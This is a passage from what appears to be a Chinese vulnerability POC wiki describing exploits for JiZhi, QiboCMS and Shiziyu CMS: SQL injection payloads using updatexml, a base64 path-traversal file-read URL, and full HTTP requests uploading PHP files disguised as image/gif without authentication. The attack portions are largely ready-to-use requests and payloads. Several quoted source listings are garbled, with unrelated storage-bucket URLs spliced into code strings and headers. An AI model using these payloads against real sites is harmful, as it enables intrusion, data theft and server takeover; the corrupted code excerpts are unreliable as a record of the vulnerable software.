mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+"
极致CMS 后台文件编辑插件 后台任意文件写入漏洞
漏洞描述
极致CMS后台中含有文件编辑插件,通过逻辑漏洞可任意修改文件
漏洞影响
网络测绘
漏洞复现
登陆后台查看插件处,有一个后台编辑的插件
修改为php代码
成功执行php代码的命令
齐博CMS
齐博CMS V7 job.php 任意文件读取漏洞
漏洞描述
QiboCMS V7版本/do/job.php页面URL参数过滤不严,导致可以下载系统任意文件,获取系统敏感信息。
漏洞影响
网络测绘
漏洞复现
漏洞分析 /inc/job/download.php
$url=trim(base64_decode($url));
$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$fileurl) && is_file(ROOT_PATH."$fileurl") ){
die("ERR");
}
if(!$webdb[DownLoad_readfile]){
$fileurl=strstr($url,"://")?$url:tempdir($fileurl);
header("location:$fileurl");
exit;
}
$webdb[upfileType] = str_replace(' ','|',$webdb[upfileType]);
if( $webdb[local_download] && is_file(ROOT_PATH.$fileurl) && eregi("($webdb[upfileType])$",$fileurl) ){
$filename=basename($fileurl);
$filetype=substr(strrchr($filename,'.'),1);
$_filename=preg_replace("/([\d]+)_(200[\d]+)_([^_]+)\.([^\.]+)/is","\\3",$filename);
if(eregi("^([a-z0-9=]+)$",$_filename)&&!eregi("(jpg|gif|png)$",$filename)){
$filename=urldecode(base64_decode($_filename)).".$filetype";
}
ob_end_clean();
header('Last-Modified: '.gmdate('D, d M Y H:i:s',time()).' GMT');
header('Pragma: no-cache');
header('Content-Encoding: none');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-type: '.$filetype);
header('Content-Length: '.filesize(ROOT_PATH."$fileurl"));
readfile(ROOT_PATH."$fileurl");
exit;
}
url base64解码,匹配后缀 如果是php结尾的就退出 在windows下能用xxx.ph< 绕过 然后经过一系列的正则后会下载文件。
if( eregi(".php",$fileurl) && is_file(ROOT_PATH."$fileurl") ){
die("ERR");
}
漏洞POC
/do/job.php?job=download&url=ZGF0YS9jb25maWcucGg8
狮子鱼CMS
狮子鱼CMS ApiController.class.php SQL注入漏洞
漏洞描述
狮子鱼CMS ApiController.class.php 参数过滤存在不严谨,导致SQL注入漏洞
漏洞影响
网络测绘
漏洞复现
登录页面如下
存在漏洞的文件为 ApiController.class.php , 关键位置为
public function goods_detail()
{
$goods_id = I('get.goods_id');
//gallery =>img_url
//goods goods.goods_desc goods_name group_price market_price sell_count group_number
$sql="select g.*,gd.description,gd.summary,gd.tag from ".
C('DB_PREFIX')."goods g,".C('DB_PREFIX')."goods_description gd where g.goods_id=gd.goods_id and g.goods_id=".$goods_id;
$goods_arr=M()->query($sql);
$qian=array("\r\n");
$hou=array("<br/>");
$goods_arr[0]['summary'] = str_replace($qian,$hou,$goods_arr[0]['summary']);
$sql="select image from ".C('DB_PREFIX')."goods_image where goods_id=".$goods_id;
$goods_image=M()->query($sql);
$gallery = array();
$default_image = '';
foreach($goods_image as $val)
{
$val['img_url'] = str_replace('http','https',C('SITE_URL')).'/Uploads/ http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/'.$val['image'];
if(empty($default_image))
{
$default_image = str_replace('http','https',C('SITE_URL')).resize($val['image'], C('goods_thumb_width'), C('goods_thumb_height'));
}
$gallery[] = array('img_url' => $val['img_url']);
}
$goods = $goods_arr[0];
漏洞测试为
https://xxx.xxx.xx.xxx/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5(1),0x7e),1)
狮子鱼CMS ApigoodController.class.php SQL注入漏洞
漏洞描述
狮子鱼CMS ApiController.class.php 参数过滤存在不严谨,导致SQL注入漏洞
漏洞影响
网络测绘
漏洞复现
登录页面如下
存在漏洞的文件为 ApigoodsController.class.php
, 关键位置为
public function get_goods_detail() {
$id = I('get.id');
$pin_id = I('get.pin_id', 0);
$token = I('get.token');
$weprogram_token = M('weprogram_token')->field('member_id')->where( array('token' =>$token) )->find();
$member_id = $weprogram_token['member_id'];
$need_data = array();
$sql = "select g.*,gd.description,gd.is_untake_level,level_discount,gd.video_src,gd.video_size_width,gd.vedio_size_height,gd.is_video,
gd.summary,gd.share_title,gd.activity_summary,gd.tag from " . C('DB_PREFIX') . "goods g," . C('DB_PREFIX') . "goods_description gd where g.goods_id=gd.goods_id and g.goods_id=" . $id;
$goods = M()->query($sql);
$pin_model = D('Home/Pin');
$goods_model = D('Home/Goods');
$qian = array(
"/Uploads/image"
);
$c_site_url = str_replace('/dan','',C('SITE_URL'));
$hou = array(
$c_site_url . "/Uploads/image"
);
$goods[0]['video_src'] = C('SITE_URL')."Uploads/http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/".$goods[0]['video_src'];
$goods[0]['description'] = str_replace($qian, $hou, $goods[0]['description']);
$goods[0]['description'] = htmlspecialchars_decode($goods[0]['description']);
$qian = array(
"\r\n"
);
漏洞测试为
https://xxx.xxx.xx.xxx/index.php?s=apigoods/get_goods_detail&id=1%20and%20updatexml(1,concat(0x7e,md5(1),0x7e),1)
狮子鱼CMS image_upload.php 任意文件上传
漏洞描述
狮子鱼CMS使用CK编辑器,存在图片上传的绕过,造成 image_upload.php 任意文件上传
漏洞影响
网络测绘
漏洞复现
登录页面如下
漏洞文件为 CK编辑器的 image_upload.php
<?php
define ( 'IN_BAMBOO', true );
// 取得根目录
define ( 'ROOT_PATH', '../../../../' ); // back to your root path
$arrType = array (
'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/jpg',
'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/gif',
'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/png',
'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/bmp',
'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/pjpeg',
'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/jpeg'
);
$max_size = 500 * 1024; // 最大文件限制(单位:byte)
$upfile = ROOT_PATH.'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/uploads'; // 图片目录路径
if (!isset($_FILES ['files'])){
echo '{"result":"400","msg":"未能找到图片,请确认图片是否过大"}';
exit ();
}
$file = $_FILES ['files'];
if ($_SERVER ['REQUEST_METHOD'] == 'POST') { // 判断提交方式是否为POST
if (! is_uploaded_file ( $file ['tmp_name'] )) { // 判断上传文件是否存在
echo '{"result":"400","msg":"图片不存在"}';
exit ();
}
if ($file ['size'] > $max_size) { // 判断文件大小是否大于500000字节
echo '{"result":"400","msg":"上传图片太大,最大支持:'.($max_size/1024).'KB"}';
exit ();
}
if (! in_array ( $file ['type'], $arrType )) { // 判断图片文件的格式
echo '{"result":"400","msg":"上传图片格式不对"}';
exit ();
}
if (! file_exists ( $upfile )) { // 判断存放文件目录是否存在
mkdir ( $upfile, 0777, true );
}
$imageSize = getimagesize ( $file ['tmp_name'] );
$img = $imageSize [0] . '*' . $imageSize [1];
$fname = $file ['name'];
$ftype = explode ( '.', $fname );
$time = explode ( " ", microtime () );
$time = $time [1] . ($time [0] * 1000);
$time2 = explode ( ".", $time );
$time = $time2 [0];
$returnName=$time."." .end($ftype);
$picName = $upfile . "/" . $returnName ;
if (! move_uploaded_file ( $file ['tmp_name'], $picName )) {
echo '{"result":"400","msg":"从:'.$file ['tmp_name'].'移动图片到:'.$picName.'出错"}';
exit ();
} else {
echo '{"result":"200","imgurl":"http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/uploads/' . $returnName . '"}';
}
}
?>
其中使用 image/gif 即可绕过上传PHP文件
POST /Common/ckeditor/plugins/multiimg/dialogs/image_upload.php HTTP/2
Host:
Content-Type: multipart/form-data;boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Length: 208
------WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Disposition: form-data; name="files"; filename="test.php"
Content-Type: image/gif
<?php phpinfo();?>
------WebKitFormBoundary8UaANmWAgM4BqBSs—
访问返回的文件路径
/Common/http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/uploads/xxxxx.php
狮子鱼CMS wxapp.php 任意文件上传漏洞
漏洞描述
狮子鱼CMS wxapp.php文件 存在任意文件上传漏洞,攻击者在没有身份验证的情况下可以上传恶意文件
漏洞影响
网络测绘
漏洞复现
登录页面如下
发送请求包上传PHP文件
POST /wxapp.php?controller=Goods.doPageUpload HTTP/1.1
Host:
Content-Length: 210
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/avif,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/webp,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Disposition: form-data; name="upfile"; filename="test.php"
Content-Type: image/gif
<?php phpinfo();?>
------WebKitFormBoundary8UaANmWAgM4BqBSs--